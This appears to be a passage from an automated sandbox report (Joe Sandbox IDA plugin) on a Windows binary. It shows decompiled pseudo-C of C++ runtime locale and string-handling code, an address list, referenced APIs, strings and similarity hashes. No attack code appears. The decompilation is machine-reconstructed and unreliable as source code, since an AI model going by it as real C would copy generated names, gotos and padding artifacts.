																																				_t252 = _t570 + 1; // 0x80000000
																																				_t509 = _t252;
																																				__eflags = _t509 - 0x1000;
																																				if(_t509 < 0x1000) {
																																					__eflags = _t509;
																																					if(__eflags == 0) {
																																						_t550 = 0;
																																						__eflags = 0;
																																					} else {
																																						_t363 = E0041362C(_t466, _t550, _t570, __eflags, _t509);
																																						_t541 = _v32;
																																						_t625 = _t625 + 4;
																																						_t550 = _t363;
																																					}
																																					goto L163;
																																				} else {
																																					_t253 = _t509 + 0x23; // 0x80000023
																																					_t364 = _t253;
																																					__eflags = _t253 - _t509;
																																					if(__eflags <= 0) {
																																						L170:
																																						E00401B30();
																																						goto L171;
																																					} else {
																																						goto L153;
																																					}
																																				}
																																			} else {
																																				_t570 = 0x7fffffff;
																																				goto L152;
																																			}
																																		} else {
																																			_t570 = 0x7fffffff;
																																			L152:
																																			_t364 = 0xffffffff80000023;
																																			__eflags = 0x80000000;
																																			L153:
																																			_t365 = E0041362C(_t466, _t550, _t570, __eflags, _t364);
																																			_t625 = _t625 + 4;
																																			__eflags = _t365;
																																			if(_t365 == 0) {
																																				L171:
																																				_t280 = E0041805F(_t466, _t509, _t541);
																																				asm("int3");
																																				asm("int3");
																																				asm("int3");
																																				asm("int3");
																																				asm("int3");
																																				_t482 =  *_t509;
																																				__eflags = _t482;
																																				if(_t482 != 0) {
																																					_push(_t550);
																																					_t559 = _t482;
																																					_t510 =  *_t559;
																																					if(_t510 == 0) {
																																						L6:
																																						return _t280;
																																					} else {
																																						_push(_t570);
																																						_push(_t510);
																																						L93();
																																						_t582 =  *_t559;
																																						_t514 = (0x2aaaaaab * ( *(_t559 + 8) - _t582) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * ( *(_t559 + 8) - _t582) >> 0x20 >> 2) + ((0x2aaaaaab * ( *(_t559 + 8) - _t582) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * ( *(_t559 + 8) - _t582) >> 0x20 >> 2)) * 2 << 3;
																																						if(_t514 < 0x1000) {
																																							L5:
																																							_push(_t514);
																																							_t280 = E004138AD(_t582);
																																							 *_t559 = 0;
																																							 *(_t559 + 4) = 0;
																																							 *(_t559 + 8) = 0;
																																							goto L6;
																																						} else {
																																							_t545 =  *((intOrPtr*)(_t582 - 4));
																																							_t514 = _t514 + 0x23;
																																							_t584 = _t582 - _t545;
																																							if(_t584 - 4 > 0x1f) {
																																								E0041805F(_t466, _t514, _t545);
																																								asm("int3");
																																								asm("int3");
																																								asm("int3");
																																								asm("int3");
																																								asm("int3");
																																								asm("int3");
																																								asm("int3");
																																								asm("int3");
																																								asm("int3");
																																								asm("int3");
																																								asm("int3");
																																								asm("int3");
																																								_push(_t606);
																																								__eflags = _v356 & 0x00000001;
																																								_push(_t584);
																																								_t585 = _t514;
																																								 *_t585 = 0x4337e4;
																																								if((_v356 & 0x00000001) != 0) {
																																									_push(8);
																																									E004138AD(_t585);
																																								}
																																								return _t585;
																																							} else {
																																								_t582 = _t545;
																																								goto L5;
																																							}
																																						}
																																					}
																																				} else {
																																					return _t280;
																																				}
																																			} else {
																																				_t541 = _v32;
																																				_t250 = _t365 + 0x23; // 0x23
																																				_t550 = _t250 & 0xffffffe0;
																																				 *(_t550 - 4) = _t365;
																																				L163:
																																				_t466[4] = _v36;
																																				_v32 = _v8;
																																				_t466[5] = _t570;
																																				_t589 = _t550 + _t541;
																																				_v44 = _t589;
																																				__eflags = _v40 - 0x10;
																																				_v36 = _v12 + _t589;
																																				_push(_t541);
																																				if(_v40 < 0x10) {
																																					_push(_t466);
																																					_push(_t550);
																																					E00414BF0();
																																					E00415180(_t550, _t589, _v32, _v12);
																																					 *_v36 = 0;
																																					 *_t466 = _t550;
																																					return _t466;
																																				} else {
																																					_t591 =  *_t466;
																																					_push(_t591);
																																					_push(_t550);
																																					E00414BF0();
																																					E00415180(_t550, _v44, _v32, _v12);
																																					_t625 = _t625 + 0x18;
																																					_t516 = _v40 + 1;
																																					 *_v36 = 0;
																																					__eflags = _t516 - 0x1000;
																																					if(_t516 < 0x1000) {
																																						L167:
																																						_push(_t516);
																																						E004138AD(_t591);
																																						 *_t466 = _t550;
																																						return _t466;
																																					} else {
																																						_t541 =  *(_t591 - 4);
																																						_t509 = _t516 + 0x23;
																																						_t570 = _t591 - _t541;
																																						_t271 = _t570 - 4; // 0x7ffffffb
																																						__eflags = _t271 - 0x1f;
																																						if(_t271 > 0x1f) {
																																							goto L171;
																																						} else {
																																							_t591 = _t541;
																																							goto L167;
																																						}
																																					}
																																				}
																																			}
																																		}
																																	}
																																} else {
																																	_t540 = _v28;
																																	_t210 = _t388 + 0x23; // 0x23
																																	_t550 = _t210 & 0xffffffe0;
																																	 *(_t550 - 4) = _t388;
																																	L140:
																																	_t475[4] = _v32;
																																	_v28 = _v0;
																																	_t373 = _v8;
																																	_t475[5] = _t581;
																																	_push(_t373);
																																	_v40 = _t540 - _t373 + 1;
																																	_t595 = _t550 + _t373;
																																	_v44 = _t595;
																																	__eflags = _v36 - 0x10;
																																	_v32 = _v4 + _t595;
																																	if(_v36 < 0x10) {
																																		_push(_t475);
																																		_push(_t550);
																																		E00414BF0();
																																		E00415180(_t550, _t595, _v28, _v4);
																																		__eflags = _t475 + _v8;
																																		E00414BF0(_v32, _t475 + _v8, _v40);
																																		 *_t475 = _t550;
																																		return _t475;
																																	} else {
																																		_t597 =  *_t475;
																																		_push(_t597);
																																		_push(_t550);
																																		E00414BF0();
																																		E00415180(_t550, _v44, _v28, _v4);
																																		E00414BF0(_v32, _v8 + _t597, _v40);
																																		_t635 = _t635 + 0x24;
																																		_t523 = _v36 + 1;
																																		__eflags = _t523 - 0x1000;
																																		if(_t523 < 0x1000) {
																																			L144:
																																			_push(_t523);
																																			E004138AD(_t597);
																																			 *_t475 = _t550;
																																			return _t475;
																																		} else {
																																			_t540 =  *(_t597 - 4);
																																			_t508 = _t523 + 0x23;
																																			_t581 = _t597 - _t540;
																																			_t236 = _t581 - 4; // 0x7ffffffb
																																			__eflags = _t236 - 0x1f;
																																			if(_t236 > 0x1f) {
																																				goto L148;
																																			} else {
																																				_t597 = _t540;
																																				goto L144;
																																			}
																																		}
																																	}
																																}
																															}
																														}
																													} else {
																														_t539 = _v24;
																														_t180 = _t404 + 0x23; // 0x23
																														_t550 = _t180 & 0xffffffe0;
																														 *(_t550 - 4) = _t404;
																														L117:
																														__eflags = _v28 - 0x10;
																														_t474[4] = _v32;
																														_t474[5] = _t580;
																														_push(_t539);
																														if(_v28 < 0x10) {
																															_push(_t474);
																															_push(_t550);
																															E00414BF0();
																															_t547 = _v24;
																															 *((char*)(_t550 + _t547)) = _v4;
																															 *((char*)(_t550 + _t547 + 1)) = 0;
																															 *_t474 = _t550;
																															return _t474;
																														} else {
																															_t602 =  *_t474;
																															_push(_t602);
																															_push(_t550);
																															E00414BF0();
																															_t548 = _v24;
																															_t634 = _t634 + 0xc;
																															_t526 = _v28 + 1;
																															 *((char*)(_t550 + _t548)) = _v4;
																															 *((char*)(_t550 + _t548 + 1)) = 0;
																															__eflags = _t526 - 0x1000;
																															if(_t526 < 0x1000) {
																																L121:
																																_push(_t526);
																																E004138AD(_t602);
																																 *_t474 = _t550;
																																return _t474;
																															} else {
																																_t539 =  *(_t602 - 4);
																																_t507 = _t526 + 0x23;
																																_t580 = _t602 - _t539;
																																_t196 = _t580 - 4; // 0x7ffffffb
																																__eflags = _t196 - 0x1f;
																																if(_t196 > 0x1f) {
																																	goto L125;
																																} else {
																																	_t602 = _t539;
																																	goto L121;
																																}
																															}
																														}
																													}
																												}
																											}
																										} else {
																											_t318 = _t538;
																											goto L99;
																										}
																									}
																								}
																								goto L174;
																								L100:
																								 *(_t578 + 0x10) = 0;
																								 *((intOrPtr*)(_t578 + 0x14)) = 0xf;
																								 *_t578 = 0;
																								_t578 = _t578 + 0x18;
																								__eflags = _t578 - _t550;
																							} while (_t578 != _t550);
																							goto L101;
																						}
																					} else {
																						_t576 = _v44;
																						_v36 = _t576;
																						_v16 = 1;
																						E0041262E(__eflags, _t576);
																						_t537 =  *_t576;
																						 *((intOrPtr*)( *_t576 + 4))();
																						 *0x444f40 = _t576;
																						goto L91;
																					}
																				} else {
																					_t576 = _t472;
																					goto L91;
																				}
																			} else {
																				_t576 =  *(_v32 +  *((intOrPtr*)(_t408 + 8)));
																				goto L86;
																			}
																		}
																	}
																}
															} else {
																E00412760( &_v92,  &_v92, _t555);
																 *(_t573 + 4) = 0;
																 *_t573 = 0x434418;
																_v12 = 9;
																E004127AB( &_v92,  &_v92);
																_t419 = _v48;
																_t652 = _t630 + 0xc;
																__eflags = _t419;
																if(_t419 != 0) {
																	E0041AC1E(_t419);
																	_t652 = _t652 + 4;
																}
																_t420 = _v56;
																_v48 = 0;
																__eflags = _t420;
																if(_t420 != 0) {
																	E0041AC1E(_t420);
																	_t652 = _t652 + 4;
																}
																_t421 = _v64;
																_v56 = 0;
																__eflags = _t421;
																if(_t421 != 0) {
																	E0041AC1E(_t421);
																	_t652 = _t652 + 4;
																}
																_t422 = _v72;
																_v64 = 0;
																__eflags = _t422;
																if(_t422 != 0) {
																	E0041AC1E(_t422);
																	_t652 = _t652 + 4;
																}
																_t423 = _v80;
																_v72 = 0;
																__eflags = _t423;
																if(_t423 != 0) {
																	E0041AC1E(_t423);
																	_t652 = _t652 + 4;
																}
																_t424 = _v88;
																_v80 = 0;
																__eflags = _t424;
																if(_t424 != 0) {
																	E0041AC1E(_t424);
																	_t652 = _t652 + 4;
																}
																_v88 = 0;
																E004124D5( &_v92);
																_v28 = _t573;
																_v12 = 0xa;
																E0041262E(__eflags, _t573);
																 *((intOrPtr*)( *_t573 + 4))();
																 *0x444f44 = _t573;
																goto L48;
															}
														} else {
															_t573 = _t300;
															goto L48;
														}
													} else {
														_t573 =  *(_t470 +  *((intOrPtr*)(_t435 + 8)));
														goto L53;
													}
												}
											} else {
												L48:
												E004124D5( &_v32);
												 *[fs:0x0] = _v20;
												_pop(_t554);
												_pop(_t574);
												_pop(_t471);
												__eflags = _v24 ^ _t608;
												return E0041361E(_t573, _t471, _v24 ^ _t608, _t536, _t554, _t574);
											}
										}
									} else {
										E00412760( &_v88,  &_v88, _t552);
										 *(_t571 + 4) = 0;
										 *_t571 = 0x43446c;
										_v8 = 9;
										E004127AB( &_v88,  &_v88);
										_t446 = _v44;
										_t654 = _t627 + 0xc;
										__eflags = _t446;
										if(_t446 != 0) {
											E0041AC1E(_t446);
											_t654 = _t654 + 4;
										}
										_t447 = _v52;
										_v44 = 0;
										__eflags = _t447;
										if(_t447 != 0) {
											E0041AC1E(_t447);
											_t654 = _t654 + 4;
										}
										_t448 = _v60;
										_v52 = 0;
										__eflags = _t448;
										if(_t448 != 0) {
											E0041AC1E(_t448);
											_t654 = _t654 + 4;
										}
										_t449 = _v68;
										_v60 = 0;
										__eflags = _t449;
										if(_t449 != 0) {
											E0041AC1E(_t449);
											_t654 = _t654 + 4;
										}
										_t450 = _v76;
										_v68 = 0;
										__eflags = _t450;
										if(_t450 != 0) {
											E0041AC1E(_t450);
											_t654 = _t654 + 4;
										}
										_t451 = _v84;
										_v76 = 0;
										__eflags = _t451;
										if(_t451 != 0) {
											E0041AC1E(_t451);
											_t654 = _t654 + 4;
										}
										_v84 = 0;
										E004124D5( &_v88);
										_v24 = _t571;
										_v8 = 0xa;
										E0041262E(__eflags, _t571);
										 *((intOrPtr*)( *_t571 + 4))();
										 *0x444f4c = _t571;
										goto L15;
									}
								} else {
									_t571 = _t284;
									goto L15;
								}
							} else {
								_t571 =  *(_t467 +  *((intOrPtr*)(_t462 + 8)));
								goto L20;
							}
						}
					} else {
						L15:
						E004124D5( &_v28);
						 *[fs:0x0] = _v16;
						_pop(_t551);
						_pop(_t572);
						_pop(_t468);
						__eflags = _v20 ^ _t606;
						return E0041361E(_t571, _t468, _v20 ^ _t606, _t536, _t551, _t572);
					}
				}
				L174:
			}

0x00408400
0x00408400
0x00408401
0x00408403
0x00408405
0x00408410
0x00408411
0x00408414
0x00408419
0x0040841b
0x0040841e
0x0040841f
0x00408420
0x00408421
0x00408425
0x0040842b
0x0040842b
0x0040842e
0x00408433
0x00408436
0x0040843b
0x00408442
0x00408448
0x0040844d
0x00408452
0x00408455
0x00408458
0x0040845d
0x00408463
0x00408465
0x0040846a
0x0040846a
0x0040846b
0x00408470
0x00408470
0x00408475
0x00408478
0x0040847d
0x0040847d
0x00408483
0x00408486
0x0040848d
0x00408490
0x004084c2
0x004084c2
0x00000000
0x00408492
0x00408495
0x00408498
0x0040849a
0x004084c4
0x004084c4
0x004084c8
0x004084da
0x004084da
0x004084dc
0x00000000
0x00000000
0x00000000
0x00000000
0x004084ca
0x004084ca
0x004084cf
0x004084d2
0x004084de
0x004084de
0x004084e1
0x004084e3
0x004084f0
0x004084f2
0x004084f5
0x004084fb
0x004084fb
0x004084fe
0x00408500
0x0040850e
0x00408502
0x00408502
0x00408505
0x00408507
0x00408509
0x00408509
0x00408509
0x00408507
0x00408518
0x0040851d
0x00408524
0x00408528
0x0040852f
0x00408535
0x0040853c
0x00408540
0x00408543
0x00408547
0x0040854a
0x0040854d
0x00408550
0x00408553
0x00408557
0x00408559
0x0040863f
0x00408644
0x00408645
0x00408646
0x00408647
0x00408648
0x00408649
0x0040864a
0x0040864b
0x0040864c
0x0040864d
0x0040864e
0x0040864f
0x00408650
0x00408651
0x00408653
0x00408655
0x00408660
0x00408661
0x00408664
0x00408669
0x0040866b
0x0040866e
0x0040866f
0x00408670
0x00408671
0x00408675
0x0040867b
0x00408683
0x00408686
0x0040868b
0x00408692
0x00408698
0x0040869d
0x004086a0
0x004086a2
0x004086a8
0x004086ad
0x004086b3
0x004086b5
0x004086ba
0x004086ba
0x004086bb
0x004086c0
0x004086c0
0x004086c8
0x004086cd
0x004086cd
0x004086d3
0x004086d3
0x004086d6
0x004086dd
0x004086e0
0x00408712
0x00408712
0x00000000
0x004086e2
0x004086e5
0x004086e8
0x004086ea
0x00408714
0x00408714
0x00408718
0x0040872a
0x0040872a
0x0040872c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040871a
0x0040871a
0x0040871f
0x00408722
0x0040872e
0x0040872e
0x00408731
0x00408733
0x00408740
0x00408742
0x00408745
0x0040874b
0x0040874b
0x0040874e
0x00408750
0x0040875e
0x00408752
0x00408752
0x00408755
0x00408757
0x00408759
0x00408759
0x00408759
0x00408757
0x00408768
0x0040876d
0x00408774
0x00408778
0x0040877f
0x00408785
0x0040878c
0x00408790
0x00408793
0x00408797
0x0040879a
0x0040879d
0x004087a0
0x004087a3
0x004087a7
0x004087a9
0x0040888f
0x00408894
0x00408895
0x00408896
0x00408897
0x00408898
0x00408899
0x0040889a
0x0040889b
0x0040889c
0x0040889d
0x0040889e
0x0040889f
0x004088a0
0x004088a1
0x004088a3
0x004088a5
0x004088b0
0x004088b1
0x004088b4
0x004088b9
0x004088bb
0x004088be
0x004088bf
0x004088c0
0x004088c1
0x004088c5
0x004088cb
0x004088d3
0x004088d6
0x004088db
0x004088e2
0x004088e8
0x004088ee
0x004088f1
0x004088f3
0x004088f9
0x004088fe
0x00408904
0x00408906
0x0040890b
0x0040890b
0x0040890c
0x00408911
0x00408911
0x00408919
0x0040891e
0x0040891e
0x00408924
0x00408927
0x0040892e
0x00408931
0x00408934
0x00408942
0x00408942
0x00408944
0x00000000
0x00408936
0x00408939
0x0040893c
0x0040893e
0x004089a0
0x004089a3
0x004089ad
0x004089b5
0x004089b6
0x004089b7
0x004089bb
0x004089c5
0x00408940
0x00408947
0x00408947
0x0040894b
0x00408960
0x00408960
0x00408962
0x00000000
0x00000000
0x00000000
0x00000000
0x0040894d
0x0040894d
0x00408952
0x00408955
0x00408964
0x00408964
0x00408966
0x00408973
0x00408978
0x0040897b
0x0040897e
0x004089c6
0x004089cb
0x004089cc
0x004089cd
0x004089ce
0x004089cf
0x004089d0
0x004089d1
0x004089d3
0x004089d4
0x004089d5
0x004089d7
0x004089d9
0x004089db
0x00408a27
0x00408a2a
0x004089e0
0x004089e0
0x004089e0
0x004089e3
0x004089e6
0x00000000
0x004089e8
0x004089e8
0x004089ea
0x004089eb
0x004089f1
0x00408a05
0x00408a05
0x00408a07
0x00408a0c
0x00000000
0x004089f3
0x004089f3
0x004089f6
0x004089fe
0x00408a01
0x00408a2b
0x00408a30
0x00408a31
0x00408a32
0x00408a33
0x00408a34
0x00408a35
0x00408a36
0x00408a37
0x00408a38
0x00408a39
0x00408a3a
0x00408a3b
0x00408a3c
0x00408a3d
0x00408a3e
0x00408a3f
0x00408a40
0x00408a41
0x00408a43
0x00408a46
0x00408a47
0x00408a49
0x00408a50
0x00408a51
0x00408a54
0x00408a59
0x00408a5c
0x00408a5d
0x00408a5f
0x00408b6d
0x00000000
0x00408a65
0x00408a65
0x00408a68
0x00408a6d
0x00408a70
0x00408a73
0x00408a76
0x00408a78
0x00408aa5
0x00408aa7
0x00408aa9
0x00408aab
0x00408ab4
0x00408ab6
0x00408ab8
0x00408abb
0x00408abb
0x00408abe
0x00408ac4
0x00408ad3
0x00408ad5
0x00408ae7
0x00408ae7
0x00408ad7
0x00408ad8
0x00408add
0x00408ae0
0x00408ae3
0x00408ae3
0x00000000
0x00408ac6
0x00408ac6
0x00408ac6
0x00408ac9
0x00408acb
0x00408b72
0x00408b72
0x00000000
0x00408ad1
0x00000000
0x00408ad1
0x00408acb
0x00408aad
0x00408aad
0x00000000
0x00408aad
0x00408a7a
0x00408a7a
0x00408a7c
0x00408a81
0x00408a81
0x00408a84
0x00408a85
0x00408a8a
0x00408a8d
0x00408a8f
0x00408b77
0x00408b77
0x00408b7c
0x00408b7d
0x00408b7e
0x00408b7f
0x00408b80
0x00408b81
0x00408b83
0x00408b86
0x00408b87
0x00408b89
0x00408b90
0x00408b91
0x00408b94
0x00408b99
0x00408b9c
0x00408b9d
0x00408b9f
0x00408ced
0x00000000
0x00408ba5
0x00408ba5
0x00408ba8
0x00408bad
0x00408bb0
0x00408bb3
0x00408bb6
0x00408bb8
0x00408be5
0x00408be7
0x00408be9
0x00408beb
0x00408bf4
0x00408bf6
0x00408bf8
0x00408bfb
0x00408bfb
0x00408bfe
0x00408c04
0x00408c13
0x00408c15
0x00408c27
0x00408c27
0x00408c17
0x00408c18
0x00408c1d
0x00408c20
0x00408c23
0x00408c23
0x00000000
0x00408c06
0x00408c06
0x00408c06
0x00408c09
0x00408c0b
0x00408cf2
0x00408cf2
0x00000000
0x00408c11
0x00000000
0x00408c11
0x00408c0b
0x00408bed
0x00408bed
0x00000000
0x00408bed
0x00408bba
0x00408bba
0x00408bbc
0x00408bc1
0x00408bc1
0x00408bc4
0x00408bc5
0x00408bca
0x00408bcd
0x00408bcf
0x00408cf7
0x00408cf7
0x00408cfc
0x00408cfd
0x00408cfe
0x00408cff
0x00408d00
0x00408d01
0x00408d03
0x00408d06
0x00408d07
0x00408d09
0x00408d10
0x00408d11
0x00408d14
0x00408d19
0x00408d1c
0x00408d1d
0x00408d1f
0x00408e4c
0x00000000
0x00408d25
0x00408d25
0x00408d28
0x00408d2d
0x00408d30
0x00408d33
0x00408d36
0x00408d38
0x00408d65
0x00408d67
0x00408d69
0x00408d6b
0x00408d74
0x00408d76
0x00408d78
0x00408d7b
0x00408d7b
0x00408d7e
0x00408d84
0x00408d93
0x00408d95
0x00408da7
0x00408da7
0x00408d97
0x00408d98
0x00408d9d
0x00408da0
0x00408da3
0x00408da3
0x00000000
0x00408d86
0x00408d86
0x00408d86
0x00408d89
0x00408d8b
0x00408e51
0x00408e51
0x00000000
0x00408d91
0x00000000
0x00408d91
0x00408d8b
0x00408d6d
0x00408d6d
0x00000000
0x00408d6d
0x00408d3a
0x00408d3a
0x00408d3c
0x00408d41
0x00408d41
0x00408d44
0x00408d45
0x00408d4a
0x00408d4d
0x00408d4f
0x00408e56
0x00408e56
0x00408e5b
0x00408e5c
0x00408e5d
0x00408e5e
0x00408e5f
0x00408e60
0x00408e62
0x00408e64
0x004071d0
0x004071d1
0x004071d3
0x004071d7
0x0040723d
0x0040723e
0x004071d9
0x004071dc
0x004071dd
0x004071de
0x004071eb
0x00407201
0x0040720a
0x0040721e
0x0040721e
0x00407220
0x00407228
0x0040722e
0x00407235
0x00000000
0x0040720c
0x0040720c
0x0040720f
0x00407212
0x0040721a
0x0040723f
0x00407244
0x00407245
0x00407246
0x00407247
0x00407248
0x00407249
0x0040724a
0x0040724b
0x0040724c
0x0040724d
0x0040724e
0x0040724f
0x00407250
0x00407253
0x00407257
0x00407258
0x0040725a
0x00407260
0x00407262
0x00407265
0x0040726a
0x00407271
0x0040721c
0x0040721c
0x00000000
0x0040721c
0x0040721a
0x0040720a
0x00408e6a
0x00408e6a
0x00408e6a
0x00408d55
0x00408d55
0x00408d58
0x00408d5b
0x00408d5e
0x00408da9
0x00408dac
0x00408db3
0x00408db9
0x00408dbc
0x00408dc1
0x00408dc4
0x00408dc8
0x00408dcb
0x00408dcc
0x00408e23
0x00408e24
0x00408e25
0x00408e31
0x00408e3c
0x00408e41
0x00408e49
0x00408dce
0x00408dce
0x00408dd0
0x00408dd1
0x00408dd2
0x00408de0
0x00408de8
0x00408dee
0x00408def
0x00408df2
0x00408df8
0x00408e0c
0x00408e0c
0x00408e0e
0x00408e16
0x00408e20
0x00408dfa
0x00408dfa
0x00408dfd
0x00408e00
0x00408e02
0x00408e05
0x00408e08
0x00000000
0x00408e0a
0x00408e0a
0x00000000
0x00408e0a
0x00408e08
0x00408df8
0x00408dcc
0x00408d4f
0x00408d38
0x00408bd5
0x00408bd5
0x00408bd8
0x00408bdb
0x00408bde
0x00408c29
0x00408c2c
0x00408c33
0x00408c36
0x00408c3b
0x00408c3e
0x00408c42
0x00408c45
0x00408c4d
0x00408c50
0x00408c54
0x00408c57
0x00408cb9
0x00408cba
0x00408cbb
0x00408cc7
0x00408cd2
0x00408cd8
0x00408ce0
0x00408cea
0x00408c59
0x00408c59
0x00408c5b
0x00408c5c
0x00408c5d
0x00408c6b
0x00408c7c
0x00408c84
0x00408c87
0x00408c88
0x00408c8e
0x00408ca2
0x00408ca2
0x00408ca4
0x00408cac
0x00408cb6
0x00408c90
0x00408c90
0x00408c93
0x00408c96
0x00408c98
0x00408c9b
0x00408c9e
0x00000000
0x00408ca0
0x00408ca0
0x00000000
0x00408ca0
0x00408c9e
0x00408c8e
0x00408c57
0x00408bcf
0x00408bb8
0x00408a95
0x00408a95
0x00408a98
0x00408a9b
0x00408a9e
0x00408ae9
0x00408ae9
0x00408af0
0x00408af3
0x00408af6
0x00408af7
0x00408b48
0x00408b49
0x00408b4a
0x00408b4f
0x00408b5a
0x00408b5d
0x00408b62
0x00408b6a
0x00408af9
0x00408af9
0x00408afb
0x00408afc
0x00408afd
0x00408b02
0x00408b05
0x00408b0e
0x00408b0f
0x00408b12
0x00408b17
0x00408b1d
0x00408b31
0x00408b31
0x00408b33
0x00408b3b
0x00408b45
0x00408b1f
0x00408b1f
0x00408b22
0x00408b25
0x00408b27
0x00408b2a
0x00408b2d
0x00000000
0x00408b2f
0x00408b2f
0x00000000
0x00408b2f
0x00408b2d
0x00408b1d
0x00408af7
0x00408a8f
0x00408a78
0x00408a03
0x00408a03
0x00000000
0x00408a03
0x00408a01
0x004089f1
0x00000000
0x00408a0f
0x00408a0f
0x00408a16
0x00408a1d
0x00408a20
0x00408a23
0x00408a23
0x00000000
0x004089e0
0x00408980
0x00408980
0x00408983
0x00408987
0x0040898b
0x00408990
0x00408997
0x0040899a
0x00000000
0x0040899a
0x00408968
0x00408968
0x00000000
0x00408968
0x00408957
0x0040895d
0x00000000
0x0040895d
0x00408955
0x0040894b
0x0040893e
0x004087af
0x004087b4
0x004087b9
0x004087c0
0x004087c9
0x004087ce
0x004087d3
0x004087d6
0x004087d9
0x004087db
0x004087de
0x004087e3
0x004087e3
0x004087e6
0x004087e9
0x004087f0
0x004087f2
0x004087f5
0x004087fa
0x004087fa
0x004087fd
0x00408800
0x00408807
0x00408809
0x0040880c
0x00408811
0x00408811
0x00408814
0x00408817
0x0040881e
0x00408820
0x00408823
0x00408828
0x00408828
0x0040882b
0x0040882e
0x00408835
0x00408837
0x0040883a
0x0040883f
0x0040883f
0x00408842
0x00408845
0x0040884c
0x0040884e
0x00408851
0x00408856
0x00408856
0x0040885c
0x00408863
0x00408868
0x0040886c
0x00408870
0x0040887c
0x0040887f
0x00000000
0x0040887f
0x00408735
0x00408735
0x00000000
0x00408735
0x00408724
0x00408727
0x00000000
0x00408727
0x00408722
0x004086ec
0x004086ec
0x004086ef
0x004086f9
0x00408701
0x00408702
0x00408703
0x00408707
0x00408711
0x00408711
0x004086ea
0x0040855f
0x00408564
0x00408569
0x00408570
0x00408579
0x0040857e
0x00408583
0x00408586
0x00408589
0x0040858b
0x0040858e
0x00408593
0x00408593
0x00408596
0x00408599
0x004085a0
0x004085a2
0x004085a5
0x004085aa
0x004085aa
0x004085ad
0x004085b0
0x004085b7
0x004085b9
0x004085bc
0x004085c1
0x004085c1
0x004085c4
0x004085c7
0x004085ce
0x004085d0
0x004085d3
0x004085d8
0x004085d8
0x004085db
0x004085de
0x004085e5
0x004085e7
0x004085ea
0x004085ef
0x004085ef
0x004085f2
0x004085f5
0x004085fc
0x004085fe
0x00408601
0x00408606
0x00408606
0x0040860c
0x00408613
0x00408618
0x0040861c
0x00408620
0x0040862c
0x0040862f
0x00000000
0x0040862f
0x004084e5
0x004084e5
0x00000000
0x004084e5
0x004084d4
0x004084d7
0x00000000
0x004084d7
0x004084d2
0x0040849c
0x0040849c
0x0040849f
0x004084a9
0x004084b1
0x004084b2
0x004084b3
0x004084b7
0x004084c1
0x004084c1
0x0040849a
0x00000000

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00408436
std::_Lockit::_Lockit.LIBCPMT ref: 00408458
std::_Lockit::~_Lockit.LIBCPMT ref: 00408478
std::_Lockit::~_Lockit.LIBCPMT ref: 0040849F
std::_Lockit::_Lockit.LIBCPMT ref: 00408518
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00408564
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0040857E
std::_Lockit::~_Lockit.LIBCPMT ref: 00408613
std::_Facet_Register.LIBCPMT ref: 00408620

Part of subcall function 00412430: std::invalid_argument::invalid_argument.LIBCONCRT ref: 0041243C

Strings

Pr@, xrefs: 00408570
bad locale name, xrefs: 0040863A
y<@, xrefs: 0040842B

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Locinfo::_$Facet_Locinfo_ctorLocinfo_dtorRegisterstd::invalid_argument::invalid_argument
String ID: Pr@$bad locale name$y<@
API String ID: 1592514138-1561844833
Opcode ID: dd8b2413e9274e4936afaf7fd6e941dea872091d8f56f02c7d2c99a652526c38
Instruction ID: eee323774e020d7eb017d28b1302df44cf36fb0ce7af8f549eb97eee52ec8172
Opcode Fuzzy Hash: dd8b2413e9274e4936afaf7fd6e941dea872091d8f56f02c7d2c99a652526c38
Instruction Fuzzy Hash: 1361ADB0D00249DBDB10DFA5DA45BDEBBB4AF54314F14402EE845BB381EB78A948CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00408650 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00408650(void* __ebx, void* __edx, void* __edi, signed int __esi, signed int* _a4) {
				char _v0;
				char _v4;
				signed int _v8;
				char _v12;
				char _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				char _v48;
				signed int _v52;
				short _v56;
				signed int _v60;
				short _v64;
				signed int _v68;
				char _v72;
				signed int _v76;
				char _v80;
				signed int _v84;
				char _v88;
				intOrPtr _v100;
				signed int _v112;
				char _v120;
				signed int _v124;
				intOrPtr _v132;
				char _v136;
				signed int _v140;
				signed int _v160;
				signed int _v172;
				signed int _v184;
				signed int _v196;
				signed int _v216;
				signed int _v228;
				signed int _v252;
				signed int _t215;
				signed int _t216;
				signed int _t219;
				signed int _t223;
				signed int _t226;
				signed int _t231;
				signed int _t232;
				void* _t239;
				void* _t240;
				intOrPtr _t241;
				signed int _t268;
				unsigned int _t270;
				void* _t271;
				signed int _t286;
				signed int _t288;
				signed int _t290;
				unsigned int _t292;
				void* _t293;
				intOrPtr _t296;
				signed int _t309;
				signed int _t311;
				signed int _t313;
				unsigned int _t315;
				void* _t316;
				signed int _t325;
				signed int _t327;
				void* _t331;
				signed int _t336;
				signed int _t337;
				signed int _t342;
				signed int _t343;
				signed int _t344;
				signed int _t345;
				signed int _t346;
				signed int _t347;
				void* _t358;
				signed int* _t362;
				signed int _t363;
				void* _t364;
				signed int _t365;
				void* _t366;
				signed int* _t367;
				signed int* _t368;
				signed int _t376;
				signed int _t384;
				intOrPtr _t390;
				signed int* _t391;
				void* _t395;
				signed int _t399;
				void* _t401;
				void* _t408;
				void* _t411;
				void* _t417;
				intOrPtr _t419;
				signed int _t420;
				signed int _t421;
				signed int _t422;
				intOrPtr _t426;
				signed int _t428;
				signed int _t429;
				signed int _t431;
				void* _t432;
				signed int _t433;
				signed int _t434;
				void* _t435;
				signed int _t437;
				signed int _t449;
				void* _t450;
				intOrPtr _t451;
				signed int _t452;
				void* _t453;
				signed int _t454;
				signed int _t456;
				signed int _t457;
				intOrPtr _t458;
				void* _t460;
				signed int _t461;
				signed int _t464;
				signed int _t465;
				signed int _t467;
				signed int _t470;
				signed int _t471;
				signed int _t473;
				signed int _t476;
